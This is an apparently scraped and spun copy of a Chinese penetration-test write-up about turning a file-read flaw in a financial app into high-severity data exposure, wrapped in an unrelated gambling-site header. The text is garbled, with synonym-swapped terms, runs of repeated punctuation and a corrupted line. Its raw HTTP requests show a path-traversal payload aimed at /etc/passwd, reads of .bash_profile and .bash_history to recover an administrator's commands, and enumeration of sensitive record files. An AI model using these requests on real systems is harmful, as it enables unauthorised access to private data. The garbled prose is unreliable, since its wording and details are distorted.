3377体育网官网入口

证券简称:3377体育网官网入口 证券代码:002212
7x24小时服务: 400-777-0777

案例分享丨一次文件读取误差的“危害升级”历程

在授权测试某金融类APP时,,,,,,,发明一个鸡肋低危文件读取误差,,,,,,,实验将其升级为高危。。 。。。。发明首次翻开APP时,,,,,,,会向服务器读取文件加载并展示图片。。 。。。。测试时一定要仔细,,,,,,,笔者发明只有首次翻开APP时,,,,,,,才会加载图片,,,,,,,后面再翻开应该是资源已被纪录,,,,,,,就不会向服务器再次举行请求了。。 。。。。

案例分享丨一次文件读取误差的“危害升级”历程

宣布时间:2022-11-04
浏览次数:5288
分享:

在授权测试某金融类APP时,,,,,,,发明一个鸡肋低危文件读取误差,,,,,,,实验将其升级为高危。。 。。。。

PS:本文仅用于手艺讨论与剖析,,,,,,,严禁用于任何不法用途,,,,,,,违者效果自尊。。 。。。。

0x00 起源探测

发明首次翻开APP时,,,,,,,会向服务器读取文件加载并展示图片。。 。。。。

测试时一定要仔细,,,,,,,笔者发明只有首次翻开APP时,,,,,,,才会加载图片,,,,,,,后面再翻开应该是资源已被纪录,,,,,,,就不会向服务器再次举行请求了。。 。。。。

此加载展示图片的GET请求数据包如下:

GET /ixxx/LgonImage.do?XxxxxImageDir=/XXXXX/Pictures&SaveXxxxxImageName=this_is_image.jpg HTTP/1.1

Host: xxxxx.com

Connection: close

User-Agent: Mozilla/5.0

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,en-US;q=0.8

拿到这个数据包的第一反应,,,,,,,以往的渗透测试履历告诉我,,,,,,,从这个地方或许路会保存文件读取误差。。 。。。。

剖析并推测功效点URI的每个参数的功效。。 。。。。

LogonImageDir=/XXXXX/Pictures - 图片所在的目录

SaveXxxxxImageName=this_is_image.jpg - 目录下的图片名

0x01 误差测试

既然已经起源探测到了可能保存误差的危害点,,,,,,,并且文件读取功效的参数已经搞清晰,,,,,,,下一步就睁开读取测试。。 。。。。

首先测试,,,,,,,是否可以举行目录列出,,,,,,,直接将SaveXxxxxImageName参数置空,,,,,,,看看是否可以读取/XXXXX/Pictures目录下的内容:

GET /ixxx/LogonImage.do?XxxxxImageDir=/XXXXX/Pictures&SaveXxxxxImageName= HTTP/1.1

Host: xxxxx.com

Connection: close

User-Agent: Mozilla/5.0

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,en-US;q=0.8

返回为“空”,,,,,,,失败,,,,,,,说明程序功效点不保存列出目录误差:

测试是否可以跳出目录,,,,,,,选用Payload如下:

GET /ixxx/LogonImage.do?XxxxxImageDir=/XXXXX/Pictures/../../../../../../etc/&SaveXxxxxImageName=passwd HTTP/1.1

Host: xxxxx.com

Connection: close

User-Agent: Mozilla/5.0

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,en-US;q=0.8

返回某恒防火墙阻挡界面,,,,,,,失败:

接下来进一步测试,,,,,,,是/etc/passwd触发的WAF,,,,,,,照旧/../触发的WAF。。 。。。。

测试只举行一层目录跳出,,,,,,,并且删除/etc/passwd要害字:

GET /ixxx/LogonImage.do?XxxxxImageDir=/XXXXX/Pictures/../&SaveXxxxxImageName= HTTP/1.1

Host: xxxxx.com

Connection: close

User-Agent: Mozilla/5.0

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,en-US;q=0.8

唔...看来/../的特殊字符就已经触发了WAF:

之后想到实验对数据包举行POST类型转换,,,,,,,使用POST传参的一些方法举行WAF的测试,,,,,,,如:

URL编码

分块传输

脏数据填充

包体转换

畸形数据包

......

可是无奈,,,,,,,POST请求直接无法传参,,,,,,,程序限制了GET请求吸收参数。。 。。。。

(不过,,,,,,,厥后测试其他POST传参的功效时,,,,,,,发明以笔者现有的WAF绕过履历思绪,,,,,,,基础无法对某恒的WAF举行绕过.....)

0x02 误差确认

总结以上对此文件读取误差网络到的信息:

目录无法跨越,,,,,,,并且文件读取的路径在目今根目录;;;;;;;

特殊字符串,,,,,,,已被WAF完善防护住。 。。。;;;;;;;

无法获取目录下的文件名、无法预知是否可以读取其他后缀文件。。 。。。。

测试到这里突然灵光一闪,,,,,,,想到了“.bash_history”,,,,,,,若是网站根目录保存此文件,,,,,,,并且可以读取。 。。。。,上面的疑问就可以直接解决泰半了,,,,,,,先来相识一下这些文件作用:

.bash_profile:此文件为系统的每个用户设置情形信息,,,,,,,当用户第一次登录时,,,,,,,该文件被执行。。 。。。。

.bash_history:该文件生涯了目今用户输入过的历史下令;;;;;;;

.bash_logout:该文件的用途是用户注销时执行的下令,,,,,,,默以为空;;;;;;;

.bashrc:此文件为每一个运行bash shell的用户执行此文件。。 。。。。当bash shell被翻开时,,,,,,,该文件被读取。。 。。。。

于是直接对网站根目录举行.bash_profile的盲测:

GET /ixxx/LogonImage.do?XxxxxImageDir=/&SaveXxxxxImageName=.bash_profile HTTP/1.1

Host: xxxxx.com

Connection: close

User-Agent: Mozilla/5.0

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,en-US;q=0.8

此payload既阻止了跳出目录,,,,,,,又避开了WAF严打的特殊字符,,,,,,,可是唯一遗漏的.bash文件被我们使用到了。。 。。。。

激动的心颤抖的手,,,,,,,看来目今网站根目录确实是此用户的目录,,,,,,,并且用户在此根目录下执行过下令!

接下来实验进一步扩大危害。。 。。。。

0x03 危害升级

不清晰目今目录结构,,,,,,,就代表着无法定向读取文件,,,,,,,可是尚有一个.bash_history我们没有使用到,,,,,,,看看是否可以在其中获取到更主要的信息。。 。。。。

读取根目录下的.bash_history:

GET /ixxx/LogonImage.do?XxxxxImageDir=/&SaveXxxxxImageName=.bash_history HTTP/1.1

Host: xxxxx.com

Connection: close

User-Agent: Mozilla/5.0

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,en-US;q=0.8

信息量虽然少,,,,,,,可是已经有了新的希望:

由历史下令得知,,,,,,,治理员cd进入了两层目录:/Nxxxx/xxFile/

并且审查了xx_20201022_51xxx.txt文件。。 。。。。

直接结构读取此文件!

GET /ixxx/LogonImage.do?XxxxxImageDir=/Nxxxx/xxFile&SaveXxxxxImageName=xx_20201022_51xxx.txt HTTP/1.1

Host: xxxxx.com

Connection: close

User-Agent: Mozilla/5.0

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,en-US;q=0.8

乐成读取到了敏感的数据信息:

并且文件的ID值为时间戳+ID顺序编号组成,,,,,,,可轻松遍历出所有的信息。。 。。。。

Burpsuite Intruder模浚浚浚????椴馐裕

实验遍历10个ID值乐成。。 。。。。

0x04 回首总结

保存的难题:目录无法跨越、WAF盯防、无法预知目录文件结构。。 。。。。

在此情形下,,,,,,,使用Linux文件系统特征,,,,,,,仍然可以将低危误差提升至高危。。 。。。。

并且危害的品级崎岖是无法预估的,,,,,,,这取决于.bash_history会给我们泄露几多信息,,,,,,,以是文件读取误差保存时间越久,,,,,,,纪录的工具越多,,,,,,,危害越大!

要害词标签:
网络清静 文件读取误差,
客户服务热线

400-777-0777
7*24小时服务

联系邮箱

servicing@topsec.com.cn

扫码关注
【网站地图】【sitemap】